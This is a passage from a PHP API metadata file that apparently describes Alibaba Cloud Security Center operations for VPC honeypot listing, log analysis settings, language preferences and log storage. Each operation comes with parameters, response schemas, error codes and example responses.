string.'."\n", 'type' => 'string', 'example' => 'ap-southeast-2,eu-west-1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FCE38ADB-7361-4212-AD87-A4514E4DF925\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"vpcRegionId\\",\\n \\"Values\\": \\"ap-southeast-2,eu-west-1\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVpcHoneyPotCriteria', ], 'DescribeVpcHoneyPotList' => [ 'summary' => 'Queries honeypots.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92241', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the VPC on which the honeypot is deployed.'."\n" ."\n" .'> You can call the [DescribeVpcList](~~DescribeVpcList~~) operation to query the IDs of VPCs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-d7o009q63fqy21r8u****', ], ], [ 'name' => 'VpcName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the VPC.'."\n" ."\n" .'> You can call the [DescribeVpcList](~~DescribeVpcList~~) operation to query the names of VPCs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abcnet', ], ], [ 'name' => 'VpcRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the VPC.'."\n" ."\n" .'> You can call the [DescribeVpcList](~~DescribeVpcList~~) operation to query the region IDs of VPCs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ap-southeast-2', ], ], [ 'name' => 'HoneyPotExistence', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the cloud honeypot feature is enabled for the VPCs. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'VpcHoneyPotDTOList' => [ 'description' => 'An array that consists of the honeypots.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'VpcName' => [ 'description' => 'The name of the VPC.'."\n", 'type' => 'string', 'example' => 'abc-vpcname', ], 'VpcId' => [ 'description' => 'The ID of the VPC.'."\n", 'type' => 'string', 'example' => 'vpc-p0w223apdl49sr5zv****', ], 'HoneyPotEniInstanceId' => [ 'description' => 'The ID of the elastic network interface (ENI) used by the honeypot in the VPC.'."\n", 'type' => 'string', 'example' => 'eni-p0whwgg7bing8b80****', ], 'CidrBlock' => [ 'description' => 'The CIDR block of the VPC.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX/16', ], 'VpcStatus' => [ 'description' => 'The status of the VPC. Valid values:'."\n" ."\n" .'* **Available**: The VPC is normal and available.'."\n" .'* **Pending**: The VPC is being configured.'."\n", 'type' => 'string', 'example' => 'Available', ], 'CreateTime' => [ 'description' => 'The time at which the VPC was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1607365213000', ], 'HoneyPotVpcSwitchId' => [ 'description' => 'The ID of the vSwitch to which the ENI used by the honeypot is connected.'."\n", 'type' => 'string', 'example' => 'vsw-p0w7gdcfvn20tvdul****', ], 'HoneyPotExistence' => [ 'description' => 'Indicates whether the cloud honeypot feature is enabled for the VPC. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'VpcRegionId' => [ 'description' => 'The region ID of the VPC.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'example' => 'ap-southeast-2', ], 'HoneyPotEcsInstanceStatus' => [ 'description' => 'The status of the server on which the honeypot is deployed. Valid values:'."\n" ."\n" .'* **Pending**: The server is being created.'."\n" .'* **Running**: The server is running.'."\n" .'* **Starting**: The server is being started.'."\n" .'* **Stopping**: The server is being stopped.'."\n" .'* **Stopped**: The server is stopped.'."\n", 'type' => 'string', 'example' => 'Running', ], 'HoneyPotInstanceStatus' => [ 'description' => 'The status of the honeypot. Valid values:'."\n" ."\n" .'* **pending**: The honeypot is being created.'."\n" .'* **deleting**: The honeypot is being deleted.'."\n" .'* **off**: The honeypot is disabled.'."\n" .'* **suspending**: The honeypot is suspended.'."\n" .'* **on**: The honeypot is enabled.'."\n", 'type' => 'string', 'example' => 'on', ], 'VpcSwitchIdList' => [ 'description' => 'An array that consists of the vSwitches in the VPC.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'VpcSwitchName' => [ 'description' => 'The name of the vSwitch.'."\n", 'type' => 'string', 'example' => 'abc01', ], 'ZoneId' => [ 'description' => 'The zone ID of the vSwitch.'."\n", 'type' => 'string', 'example' => 'ap-southeast-2b', ], 'VpcSwitchId' => [ 'description' => 'The ID of the vSwitch.'."\n", 'type' => 'string', 'example' => 'vsw-p0wdnyv4wzp6jkuu4****', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"VpcHoneyPotDTOList\\": [\\n {\\n \\"VpcName\\": \\"abc-vpcname\\",\\n \\"VpcId\\": \\"vpc-p0w223apdl49sr5zv****\\",\\n \\"HoneyPotEniInstanceId\\": \\"eni-p0whwgg7bing8b80****\\",\\n \\"CidrBlock\\": \\"192.168.XX.XX/16\\",\\n \\"VpcStatus\\": \\"Available\\",\\n \\"CreateTime\\": 1607365213000,\\n \\"HoneyPotVpcSwitchId\\": \\"vsw-p0w7gdcfvn20tvdul****\\",\\n \\"HoneyPotExistence\\": true,\\n \\"VpcRegionId\\": \\"ap-southeast-2\\",\\n \\"HoneyPotEcsInstanceStatus\\": \\"Running\\",\\n \\"HoneyPotInstanceStatus\\": \\"on\\",\\n \\"VpcSwitchIdList\\": [\\n {\\n \\"VpcSwitchName\\": \\"abc01\\",\\n \\"ZoneId\\": \\"ap-southeast-2b\\",\\n \\"VpcSwitchId\\": \\"vsw-p0wdnyv4wzp6jkuu4****\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n Running\\n \\n abc01\\n ap-southeast-2b\\n vsw-p0wdnyv4wzp6jkuu4****\\n \\n vpc-p0w223apdl49sr5zv****\\n true\\n on\\n vsw-p0w7gdcfvn20tvdul****\\n 1607365213000\\n Available\\n ap-southeast-2\\n 192.168.XX.XX/16\\n eni-p0whwgg7bing8b80****\\n abc-vpcname\\n \\n \\n \\n abc02\\n ap-southeast-2b\\n vsw-p0wy1hvr3r8oi01hw****\\n \\n vpc-p0wjjpui2gerjmn2w****\\n false\\n off\\n 1607467211000\\n Available\\n ap-southeast-2\\n 192.168.XX.XX/16\\n abc02-vpcname\\n \\n \\n 2\\n 20\\n 1\\n 2\\n \\n 4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2\\n","errorExample":""}]', 'title' => 'DescribeVpcHoneyPotList', 'description' => 'If you specify only the Action request parameter in your request, Security Center returns the list of all VPCs regardless of whether a honeypot is deployed on a VPC.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'GetLogMeta' => [ 'summary' => 'Queries the status of a data shipping task of a log.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '193888', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'LogStore', 'in' => 'query', 'schema' => [ 'description' => 'The name of the dedicated Logstore in which logs are stored.'."\n" ."\n" .'> You can call the [DescribeLogMeta](~~DescribeLogMeta~~) operation to query the name of the Logstore.'."\n", 'type' => 'string', 'required' => true, 'example' => 'aegis-log-login'."\n", ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'LogMeta' => [ 'description' => 'The data of a data shipping task.'."\n", 'type' => 'object', 'properties' => [ 'Project' => [ 'description' => 'The Simple Log Service project.'."\n", 'type' => 'string', 'example' => 'sas-log', ], 'LogStore' => [ 'description' => 'The name of the dedicated Logstore in which logs are stored.'."\n", 'type' => 'string', 'example' => 'aegis-log-login', ], 'Status' => [ 'description' => 'The status of a data shipping task of a log. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'example' => 'enabled', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"LogMeta\\": {\\n \\"Project\\": \\"sas-log\\",\\n \\"LogStore\\": \\"aegis-log-login\\",\\n \\"Status\\": \\"enabled\\"\\n }\\n}","type":"json"}]', 'title' => 'GetLogMeta', ], 'GetUserLang' => [ 'summary' => 'Queries the language settings of log analysis.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E21****', ], 'SasUserLang' => [ 'description' => 'The language settings.'."\n", 'type' => 'object', 'properties' => [ 'Lang' => [ 'description' => 'The language specified for log analysis. Valid values:'."\n" ."\n" .'* zh: Chinese'."\n" .'* en: English'."\n", 'type' => 'string', 'example' => 'zh', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E21****\\",\\n \\"SasUserLang\\": {\\n \\"Lang\\": \\"zh\\"\\n }\\n}","type":"json"}]', 'title' => 'GetUserLang', ], 'ChangeUserLang' => [ 'summary' => 'Modifies the language settings of log analysis. The modification on the language settings takes effect within 12 hours and affects only the language of the descriptions for security events in security logs.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '168490', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'UserLang', 'in' => 'query', 'schema' => [ 'description' => 'The new language. Valid values:'."\n" ."\n" .'* zh: Chinese'."\n" .'* en: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '2F5AA940-9EBF-5948-ACE7-3EF0FE54****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2F5AA940-9EBF-5948-ACE7-3EF0FE54****\\"\\n}","type":"json"}]', 'title' => 'ChangeUserLang', ], 'ModifyLogMetaStatus' => [ 'summary' => 'Enables or disables the log analysis feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '154030', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'Project', 'in' => 'query', 'schema' => [ 'description' => 'The name of the project.'."\n" ."\n" .'> You can call the [DescribeLogMeta](~~DescribeLogMeta~~) operation to query the names of projects.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aegis-log', ], ], [ 'name' => 'LogStore', 'in' => 'query', 'schema' => [ 'description' => 'The name of the dedicated Logstore in which logs are stored.'."\n" ."\n" .'> You can call the [DescribeLogMeta](~~DescribeLogMeta~~) operation to query the names of Logstores.'."\n", 'type' => 'string', 'required' => true, 'example' => 'aegis-log-login'."\n", ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the log analysis feature. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'required' => true, 'example' => 'disabled', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '861445A7-B6D6-5825-B015-CD46ED90613A', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'LogAuthStatusNotReady', 'errorMessage' => 'Insufficient authorization status of the log service.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"861445A7-B6D6-5825-B015-CD46ED90613A\\"\\n}","type":"json"}]', 'title' => 'ModifyLogMetaStatus', ], 'DescribeLogMeta' => [ 'summary' => 'Queries the configurations of the log analysis feature provided by Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '154029', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '123.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Default value: **aegis**. Valid values:'."\n" ."\n" .'* **aegis**: Server Guard'."\n" .'* **sas**: Security Center'."\n" ."\n" .'> If you use Server Guard, set the value to **aegis**. If you use Security Center, set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', ], 'LogMetaList' => [ 'description' => 'An array that consists of the configurations of the log analysis feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configurations of the log analysis feature.'."\n", 'type' => 'object', 'properties' => [ 'LogDesc' => [ 'description' => 'The name of the log type.'."\n", 'type' => 'string', 'example' => 'Login', ], 'Status' => [ 'description' => 'The status of the log analysis feature. Valid values:'."\n" ."\n" .'* **disabled**'."\n" .'* **enabled**'."\n", 'type' => 'string', 'example' => 'enabled', ], 'LogStore' => [ 'description' => 'The name of the dedicated Logstore in which logs are stored.'."\n", 'type' => 'string', 'example' => 'aegis-log-login', ], 'UserProject' => [ 'description' => 'The name of the dedicated project in which logs are stored.'."\n", 'type' => 'string', 'example' => 'sasnew-log-XXXX-cn-hangzhou', ], 'Category' => [ 'description' => 'The category of logs. Valid values:'."\n" ."\n" .'* **host**'."\n" .'* **security**', 'type' => 'string', 'example' => 'host', ], 'Project' => [ 'description' => 'The name of the project.'."\n", 'type' => 'string', 'example' => 'aegis-log', ], 'UserLogStore' => [ 'description' => 'The name of the dedicated Logstore in which user logs are stored.'."\n", 'type' => 'string', 'example' => 'aegis-log-network', ], 'UserRegion' => [ 'description' => 'The ID of the region.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Ttl' => [ 'description' => 'The number of days during which logs can be retained.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '180', ], 'HotTtl' => [ 'description' => 'The time period after which logs in hot storage are moved to cold storage. Unit: days.'."\n" ."\n" .'> If the value is -1, logs that are stored in hot storage are not moved to cold storage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '-1', ], 'Topic' => [ 'description' => 'The topic of logs that are delivered.'."\n", 'type' => 'string', 'example' => 'aegis-log-login', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], [ 'errorCode' => 'ThrottlingUser', 'errorMessage' => 'Request was denied due to user flow control.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\",\\n \\"LogMetaList\\": [\\n {\\n \\"LogDesc\\": \\"Login\\",\\n \\"Status\\": \\"enabled\\",\\n \\"LogStore\\": \\"aegis-log-login\\",\\n \\"UserProject\\": \\"sasnew-log-XXXX-cn-hangzhou\\",\\n \\"Category\\": \\"host\\",\\n \\"Project\\": \\"aegis-log\\",\\n \\"UserLogStore\\": \\"aegis-log-network\\",\\n \\"UserRegion\\": \\"cn-hangzhou\\",\\n \\"Ttl\\": 180,\\n \\"HotTtl\\": -1,\\n \\"Topic\\": \\"aegis-log-login\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeLogMeta', ], 'ModifyOpenLogShipper' => [ 'summary' => 'Activates Simple Log Service.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92378', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Default value: **aegis**. Valid values:'."\n" ."\n" .'* **aegis**: Server Guard'."\n" .'* **sas**: Security Center'."\n" ."\n" .'> If you use Server Guard, set the value to **aegis**. If you use Security Center, set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '25EC270F-5783-4416-AD7C-1EDF063A039C', ], ], 'description' => 'The returned data.', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalHotTTL', 'errorMessage' => 'The hot storage TTL is invalid.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"25EC270F-5783-4416-AD7C-1EDF063A039C\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 25EC270F-5783-4416-AD7C-1EDF063A039C\\n","errorExample":""}]', 'title' => 'ModifyOpenLogShipper', 'description' => '**Prerequisites** [Simple Log Service](https://www.alibabacloud.com/help/en/log-service/latest/billable-items) is activated. A service-linked role for Security Center is created, and Security Center is authorized to access cloud resources. You can call the [CreateServiceLinkedRole](~~CreateServiceLinkedRole~~) operation to create a service-linked role for Security Center and authorize Security Center to access cloud resources. **Scenarios** Before you use the log analysis feature of Security Center, you must call the [ModifyOpenLogShipper](~~ModifyOpenLogShipper~~) operation to activate Simple Log Service.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeLogstoreStorage' => [ 'summary' => 'Queries the purchased log storage capacity.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Used' => [ 'description' => 'The used log storage capacity, in GB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '335', ], 'Ttl' => [ 'description' => 'The number of days during which logs can be retained. The value is fixed as **180**, which indicates that logs can be retained for 180 days.'."\n" ."\n" .'> You are not allowed to change the value of this parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '180', ], 'Logstore' => [ 'description' => 'The name of the dedicated Logstore that is used to store full logs of Security Center. The value is fixed as **sas-log**.'."\n", 'type' => 'string', 'example' => 'sas-log', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '25EC270F-5783-4416-AD7C-1EDF063A039C', ], 'Preserve' => [ 'description' => 'The purchased log storage capacity, in GB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12240', ], 'UserProject' => [ 'description' => 'The name of the dedicated Project that is used to store full logs of Security Center.', 'type' => 'string', 'example' => 'sas-log-XXXX-cn-hangzhou', ], ], ], ], ], 'errorCodes' => [ 200 => [ [ 'errorCode' => 'DataNotExist', 'errorMessage' => 'Logstore data not exist.', ], ], 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Used\\": 335,\\n \\"Ttl\\": 180,\\n \\"Logstore\\": \\"sas-log\\",\\n \\"RequestId\\": \\"25EC270F-5783-4416-AD7C-1EDF063A039C\\",\\n \\"Preserve\\": 12240,\\n \\"UserProject\\": \\"sas-log-XXXX-cn-hangzhou\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 25EC270F-5783-4416-AD7C-1EDF063A039C\\n 335.14641880244017\\n sas-log\\n 180\\n 12240\\n","errorExample":""}]', 'title' => 'DescribeLogstoreStorage', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyClearLogstoreStorage' => [ 'summary' => 'Deletes all logs that occupy your log storage.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '117639', 'abilityTreeNodes' => [ 'FEATUREsasRXJ9SY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'UserProject', 'in' => 'query', 'schema' => [ 'description' => 'The name of the project.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas-log-1234(uid)-cn-hangzhou', ], ], [ 'name' => 'UserLogStore', 